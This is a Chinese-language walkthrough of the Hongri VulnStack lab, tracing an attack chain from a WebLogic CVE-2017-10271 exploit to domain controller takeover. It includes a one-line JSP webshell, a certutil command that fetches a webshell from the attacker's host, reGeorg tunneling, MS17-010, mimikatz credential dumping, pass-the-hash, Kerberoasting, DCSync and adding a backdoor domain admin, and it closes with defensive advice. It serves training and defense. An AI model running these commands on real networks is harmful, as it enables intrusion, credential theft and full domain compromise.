从Weblogic漏洞到域控:红日靶场内网渗透实战全解析 1. 项目概述与核心目标最近在复现红日VulnStack靶场的第一套环境这是一个非常经典的从外网打点到内网横向移动最终拿下域控的综合性靶场。整个过程就像一次完整的渗透测试演练从发现一个Weblogic反序列化漏洞开始一步步拿到Web服务器权限然后以此为跳板在内网中探索、横向移动最终定位并攻陷域控制器。对于想系统性学习内网渗透的朋友来说这个靶场几乎是必做的“毕业设计”。它把Web漏洞利用、权限维持、内网信息收集、横向移动技术、域渗透思路串联成了一条清晰的攻击链。今天我就把这次实战演练的完整过程、踩过的坑以及一些关键技巧用最直白的方式记录下来希望能给正在入门或想巩固内网知识的朋友提供一个可复现的参考。这个靶场的核心价值在于它的“真实性”。它模拟了一个典型的企业内网环境一台暴露在公网的Web服务器通常是DMZ区运行着存在已知漏洞的Weblogic内网中则存在多台主机包括域成员服务器和最终的域控制器。攻击者的目标很明确从外部一点突破逐步向内网纵深推进直至掌控整个域。这个过程涉及的技术点非常密集包括但不限于漏洞扫描与利用、Webshell上传与管理、系统提权、内网代理搭建、端口扫描与服务识别、凭据获取与传递攻击、域信息枚举与最终域控攻陷。接下来我们就按照攻击链的顺序一步步拆解。2. 环境搭建与信息收集2.1 靶场环境拓扑解析红日VulnStack靶场通常提供虚拟机镜像我们需要在本地虚拟化环境如VMware或VirtualBox中运行。典型的拓扑结构包含三台主机Windows Server 2008 (Web服务器)双网卡。一块网卡NAT模式模拟公网IP上面运行着存在漏洞的Weblogic服务例如CVE-2017-10271。另一块网卡仅主机模式连接内网。这是我们的初始入口点。Windows 7 (域成员服务器)单网卡仅主机模式与Web服务器的内网网卡处于同一网段。它通常运行着一些内网服务如FTP、Web管理后台等并且已加入域。Windows Server 2008 R2 (域控制器)单网卡仅主机模式与上述两台主机在同一内网网段。它运行着Active Directory域服务是整个内网的核心。攻击者我们的Kali Linux攻击机也位于“公网”NAT网络与Web服务器的公网网卡互通。我们的任务就是从Kali出发穿透Web服务器探索并征服整个内网。注意在搭建环境时务必确保虚拟机的网络适配器设置正确。Web服务器的公网网卡NAT和内网网卡仅主机要分清否则无法连通。建议先为“仅主机”网络创建一个统一的虚拟网络让三台内网机器都连上去。2.2 外网信息收集与漏洞扫描攻击始于信息收集。我们首先需要定位目标Web服务器及其开放的服务。# 使用nmap进行基础端口扫描假设目标IP为192.168.1.110Web服务器公网IP nmap -sS -sV -O 192.168.1.110 -p 1-65535扫描结果通常会显示开放了7001端口服务标识为Oracle Weblogic admin console。版本信息可能指向10.3.6.0。这个版本号是关键的线索它意味着可能存在一系列历史反序列化漏洞。仅仅知道开放了Weblogic还不够我们需要确认是否存在具体的漏洞。对于CVE-2017-10271这类有公开利用脚本的漏洞我们可以直接使用工具进行检测和利用。但在实战中更稳妥的做法是先使用漏洞扫描器进行初步探测。这里我常用nuclei它模板更新快针对Weblogic的检测模板也很全。# 使用nuclei针对Weblogic进行漏洞扫描 nuclei -u http://192.168.1.110:7001 -tags weblogic如果扫描器提示存在CVE-2017-10271那么我们的攻击路径就非常清晰了。这个漏洞的利用原理是Weblogic的WLS Security组件对XML反序列化处理不当攻击者可以构造恶意的XML数据通过/wls-wsat/CoordinatorPortType端点发送从而在服务器上执行任意命令。理解原理很重要这能帮助我们在工具失效时手动构造Payload或者在遇到WAF时尝试绕过。3. 外网突破Weblogic漏洞利用与Webshell上传3.1 CVE-2017-10271漏洞利用详解确认漏洞存在后我们使用公开的EXP进行利用。网络上有很多Python脚本核心是向http://target:7001/wls-wsat/CoordinatorPortType发送一个特定的SOAP XML请求其中包含要执行的命令。我们第一步通常是尝试执行一个whoami或者ipconfig来验证命令执行是否成功。一个典型的利用步骤是启动一个HTTP服务用于托管我们要上传的Webshell例如一个JSP马。在利用脚本中构造命令让目标Weblogic服务器从我们的HTTP服务下载Webshell并保存到其Web目录下如C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war这个路径因版本和部署方式而异需要信息收集或尝试常见路径。通过浏览器访问上传的Webshell路径获取交互式控制台。这里有个关键点命令执行的环境和权限。Weblogic默认以某个系统用户身份运行可能是SYSTEM也可能是其他配置的用户。执行whoami可以确认。如果是SYSTEM或高权限用户那么我们上传Webshell后基本就获得了该服务器的最高权限这为后续的内网渗透提供了极好的跳板。实际操作中我遇到过利用脚本执行成功但找不到Webshell的情况。这通常是因为路径错误Weblogic的临时目录或应用部署目录可能变化。解决方法是多尝试几个常见路径或者先用命令探测目录结构如dir C:\ /s /b | findstr .war或find / -name “*.jsp” 2/dev/nullLinux系统。杀毒软件拦截目标服务器可能安装了AV拦截了我们的Webshell文件。可以尝试对Webshell进行编码、混淆或者使用内存马等无文件落地技术。网络不通我们的HTTP服务可能被目标服务器防火墙出站规则阻挡。可以尝试使用FTP、SMB共享等其他协议或者利用Weblogic本身写入文件。3.2 权限维持与交互式Shell获取成功上传一个简单的cmd.jsp内容为% Runtime.getRuntime().exec(request.getParameter(“cmd”)) %后我们获得了命令执行能力但这还不够方便。我们需要一个更稳定、功能更全的交互式Shell。通常我会选择上传一个成熟的JSP Webshell工具如Godzilla哥斯拉或Behinder冰蝎的JSP马。这些工具支持加密通信、文件管理、虚拟终端、内网代理等功能是后续渗透的利器。以哥斯拉为例在哥斯拉客户端中生成一个JSP类型的Payload。通过之前简陋的Webshellcmd.jsp使用certutil或powershell将哥斯拉的JSP马下载到目标服务器上。# 假设我们的攻击机IP是192.168.1.100HTTP服务在8080端口 # 在cmd.jsp中执行 certutil -urlcache -split -f http://192.168.1.100:8080/godzilla.jsp C:\temp\g.jsp访问http://target:7001/g.jsp如果页面空白或返回正常说明马已存活。在哥斯拉客户端添加连接填写URL、密码和加密器默认AES连接即可获得一个图形化管理的Shell。获得哥斯拉的Shell后第一件事就是进行基础信息收集systeminfo查看系统补丁、ipconfig /all查看网络配置确认双网卡和内网IP、net user和net localgroup administrators查看当前用户和权限。如果当前不是SYSTEM可能需要进行提权但在本靶场中Weblogic服务通常以高权限运行这一步可以跳过。4. 内网渗透准备代理搭建与信息收集4.1 内网代理通道建立现在我们站在了内网的门口。Web服务器有一块网卡连接着内网假设IP为192.168.52.143而我们的攻击机在外网无法直接访问这个网段。因此我们需要在Web服务器上建立一个代理将内网的流量“转发”到我们的攻击机上。常用的工具有reGeorg、Neo-reGeorg、EarthWorm (ew)、frp等。在Windows环境下我偏好使用reGeorg的tunnel.jsp因为它兼容性好利用HTTP/HTTPS隧道不易被防火墙察觉。操作步骤从reGeorg项目下载tunnel.jsp。通过哥斯拉的文件管理功能将tunnel.jsp上传到Web服务器的Web目录。在攻击机的Kali上运行reGeorg的Python SOCKS代理客户端。python reGeorgSocksProxy.py -p 1080 -u http://target:7001/tunnel.jsp客户端会提示“Georg says, ‘All seems fine’”表示代理隧道建立成功。本地的1080端口现在成了一个SOCKS5代理端口所有发往这个代理的流量都会通过Web服务器上的JSP马转发到内网。接下来我们需要配置攻击机的工具让它们通过这个代理去访问内网。最方便的方法是使用Proxychains。# 编辑 /etc/proxychains4.conf # 在末尾 [ProxyList] 部分添加 socks5 127.0.0.1 1080 # 使用proxychains运行任何想通过代理访问内网的命令 proxychains4 nmap -sT -sV -Pn 192.168.52.1/24这里使用-sTTCP全连接扫描而不是-sSSYN半开扫描是因为SOCKS代理不支持原始套接字-sS扫描会失败。-Pn是假设主机在线跳过Ping检测。4.2 内网主机发现与服务识别通过代理对内网网段例如192.168.52.0/24进行扫描后我们可能会发现除了Web服务器自身192.168.52.143外还有另外两个IP存活192.168.52.141- 后续发现是Windows 7域成员192.168.52.138- 后续发现是Windows Server 2008 R2域控对这两台主机进行详细的端口扫描proxychains4 nmap -sT -sV -O -p- 192.168.52.141 proxychains4 nmap -sT -sV -O -p- 192.168.52.138Windows 7 (192.168.52.141)可能开放了80/tcp- 可能是一个内部Web应用或管理后台。445/tcp- SMB服务是Windows文件共享和很多攻击向量如永恒之蓝的入口。135/tcp,139/tcp- RPC和NetBIOS服务。3306/tcp- MySQL数据库常见于一些CMS后台。5985/tcp- WinRMWindows Remote Management如果配置得当可用于远程命令执行。域控制器 (192.168.52.138)必然开放53/tcp- DNS服务用于域解析。88/tcp- Kerberos认证服务。135/tcp,139/tcp,445/tcp- 标准Windows服务。389/tcp- LDAP服务用于查询和修改AD目录信息。636/tcp- LDAPSLDAP over SSL。3268/tcp,3269/tcp- 全局编录服务。5985/tcp- 可能开放WinRM。识别出这些服务我们就有了下一步横向移动的潜在突破口。5. 横向移动攻陷域成员服务器5.1 针对Windows 7的渗透尝试我们的跳板Web服务器已经是高权限可以尝试直接从其上发起对内网目标的攻击无需所有流量都经过攻击机代理。这样速度更快。我们可以将攻击工具上传到Web服务器上执行。首先尝试访问192.168.52.141的80端口。通过代理配置浏览器如Firefox的FoxyProxy或者直接在哥斯拉的Shell里用curl如果系统有或certutil下载页面内容查看。假设发现是一个简单的文件上传页面或者是一个已知CMS如某博客系统的后台。思路一Web应用漏洞如果存在Web漏洞如SQL注入、文件上传可以直接利用。但靶场设计可能更倾向于让我们利用系统层面的弱点。思路二SMB服务与MS17-010扫描结果显示开放445端口。一个经典的攻击点是MS17-010永恒之蓝漏洞。我们可以使用metasploit的auxiliary/scanner/smb/smb_ms17_010模块进行扫描确认。# 在Kali上通过proxychains运行msfconsole或者将模块上传到Web服务器运行需对应系统版本 # 这里演示通过代理使用msf proxychains4 msfconsole msf6 use auxiliary/scanner/smb/smb_ms17_010 msf6 set RHOSTS 192.168.52.141 msf6 run如果检测到漏洞存在可以使用exploit/windows/smb/ms17_010_eternalblue模块进行利用。成功后会得到一个Meterpreter会话。在靶场环境中Windows 7往往未打此补丁成功率很高。思路三凭据获取与传递攻击这是内网渗透更常见、更通用的手法。我们已经在Web服务器上有了SYSTEM权限可以尝试从本机内存中提取其他用户的登录凭据特别是域用户的凭据。使用工具mimikatz将mimikatz.exe上传到Web服务器。在哥斯拉的虚拟终端中运行mimikatz.exe privilege::debug # 提升权限 sekurlsa::logonpasswords # 导出内存中的明文密码和哈希如果系统打了补丁如KB2871997可能无法直接抓取明文密码但依然可以获取NTLM哈希。输出中要重点关注带有Domain字段的条目这可能是域用户如REDTEAM\webadmin在本机登录后留下的凭据。假设我们抓取到了一个域用户REDTEAM\zhangsan的NTLM哈希aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4。我们就可以尝试使用“哈希传递”Pass-The-Hash, PTH攻击来访问Windows 7。使用impacket工具包中的psexec.py# 在攻击机Kali上执行通过代理访问内网目标 proxychains4 python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 REDTEAM/zhangsan192.168.52.141如果该域用户在目标机器上有管理员权限在域环境中很常见我们就能获得一个SYSTEM权限的CMD shell。至此我们拿下了第二台内网主机。5.2 信息深度收集与域环境感知在Windows 7上获得权限后需要进行更深度的信息收集特别是关于域的信息。# 查看当前用户和所在域 whoami /all net config workstation # 查看域信息 net view /domain # 列出所有域通常只有一个 net view /domain:REDTEAM # 查看指定域内的机器列表 # 查询域用户和组 net user /domain # 列出所有域用户 net group “domain admins” /domain # 查询域管理员组有哪些成员 # 查看本机共享和会话 net share net session # 查看计划任务、安装的软件等寻找其他突破口 schtasks /query /fo LIST /v wmic product get name,version这些信息至关重要。我们知道了域名REDTEAM知道了域管理员是谁例如Administrator。下一步的目标就是拿到域管理员的凭据或者直接攻击域控制器。6. 终极目标攻陷域控制器6.1 利用域成员身份收集域控信息现在我们从域成员服务器Windows 7出发视角转向域控制器192.168.52.138。传统的漏洞利用如MS17-010可能依然有效但更“域特色”的攻击方式是利用域协议和信任关系。Kerberoasting攻击这种攻击针对的是使用Kerberos协议的服务账户。如果域内存在使用高权限域用户注册的SPN服务主体名称我们可以请求其服务票据TGS并离线破解其加密部分使用RC4加密类型时从而得到服务账户的密码哈希。在已控的Windows 7上使用impacket的GetUserSPNs.py脚本需上传或在攻击机通过代理运行。proxychains4 python3 GetUserSPNs.py -request -dc-ip 192.168.52.138 REDTEAM/zhangsan -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4这个命令会使用我们已有的zhangsan用户的哈希向域控请求所有SPN并输出可用于离线破解的Hashcat格式哈希。使用Hashcat或John the Ripper破解这个哈希。如果密码强度不高很可能被破解。一旦破解我们就获得了一个高权限服务账户的密码可能直接就是域管理员权限。BloodHound与攻击路径分析这是更高级、更可视化的方法。将BloodHound采集器SharpHound.ps1上传到已控的Windows 7上执行它会收集整个AD域的关系数据用户、组、计算机、权限、会话等。# 在Windows 7的PowerShell中执行 Import-Module .\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All -Domain REDTEAM -DomainController 192.168.52.138执行后会生成一个.zip文件将其下载到攻击机。在Kali上运行BloodHoundGUI导入数据。BloodHound会自动分析并图形化展示域内所有对象的关系并高亮显示从当前已控节点到域管理员的最短攻击路径。它可能会提示“用户A对计算机B有‘ForceChangePassword’权限”、“计算机C的‘LocalAdmin’组里包含了域用户D”等关键信息指导我们进行下一步精准攻击。6.2 最终夺取域控权限根据信息收集的结果可能有多种方式拿下域控方式一直接攻击域控漏洞如果扫描发现域控存在MS17-010等漏洞可以直接利用但这种方式比较“暴力”。方式二凭据传递与DCSync如果我们通过Kerberoasting或其他方式例如抓取域内某台服务器上登录的域管理员令牌拿到了域管理员或具备类似权限的账户如Domain Admins组、Enterprise Admins组成员的哈希或密码就可以直接对域控进行哈希传递。proxychains4 python3 psexec.py -hashes 域管理员哈希 REDTEAM/Administrator192.168.52.138更厉害的是DCSync攻击。如果一个账户拥有Replicating Directory Changes权限默认域管理员有我们可以模拟域控制器请求同步复制域内所有用户的密码哈希。使用mimikatz# 在已控的任意域成员机器上使用域管理员凭据运行mimikatz mimikatz.exe lsadump::dcsync /domain:REDTEAM /dc:DC01 /user:Administrator这个命令会直接拉取域管理员Administrator的NTLM哈希。拿到这个哈希就等于拿到了整个域的“钥匙”。方式三利用BloodHound发现的路径例如BloodHound显示我们已控的Windows 7的本地管理员组中包含了一个域用户REDTEAM\sqlservice。而我们又通过其他途径比如在Web服务器上找到了配置文件拿到了sqlservice的密码。那么我们就可以用这个密码登录Windows 7而sqlservice这个域用户对域控有“WriteDACL”权限可以修改域控的ACL给自己添加管理员权限从而控制域控。在靶场环境中通常设计了一条或多条可行的路径。我们需要灵活组合信息收集、漏洞利用和凭据攻击的技术。最终在域控制器上执行whoami /groups确认自己处于Domain Admins组或者能成功添加一个我们自己的域管理员账户即标志着整个攻击链的完成。# 在域控上添加一个后门域管理员账户 net user hacker Pssw0rd! /add /domain net group “Domain Admins” hacker /add /domain7. 总结与防御思考回顾这条从Weblogic漏洞到拿下域控的攻击链它清晰地展示了“边界突破 - 权限维持 - 内网探测 - 横向移动 - 权限提升 - 域渗透”的完整过程。每一个环节都依赖前一个环节获取的“战果”作为跳板。对于防御方而言这个链条上的任何一环被加固都能有效阻断攻击。从防御视角看关键点在于边界安全及时为中间件如Weblogic、Web框架、CMS打补丁。使用WAF防护已知漏洞攻击。最小化公网暴露面非必要服务不对外开放。权限最小化运行业务的服务如Weblogic不要使用SYSTEM或域管理员等高权限账户。遵循最小权限原则。网络分段与隔离严格划分网络区域如DMZ、办公网、生产网、管理网设置防火墙策略限制不同区域间的访问特别是限制从DMZ到内网核心区的访问。强化身份认证与访问控制在域环境中强制使用强密码策略定期更换高权限账户密码。启用LAPS本地管理员密码解决方案管理本地管理员密码。限制域管理员登录到非域控服务器。监控异常登录行为如非工作时间、非常用地点。关闭不必要的服务在内网主机上关闭如SMBv1关联MS17-010、LLMNR、NetBIOS等可能带来风险的服务。部署终端检测与响应EDR在服务器和终端上安装EDR软件能够有效检测和阻止Mimikatz、BloodHound采集器、横向移动工具等恶意行为。持续监控与审计集中收集和分析日志Windows事件日志、防火墙日志、Web访问日志建立安全事件告警机制对异常行为如大量失败登录、异常时间的管理员活动、DCSync请求等进行快速响应。这次靶场实战与其说是在学习如何攻击不如说是在从攻击者的视角理解防御的薄弱点。只有亲自动手走通整个流程你才能真切地体会到一个看似微小的外部漏洞是如何在脆弱的内部网络环境中被层层放大最终导致全线失守的。对于安全从业者来说这种“上帝视角”的演练是构建有效防御体系不可或缺的一课。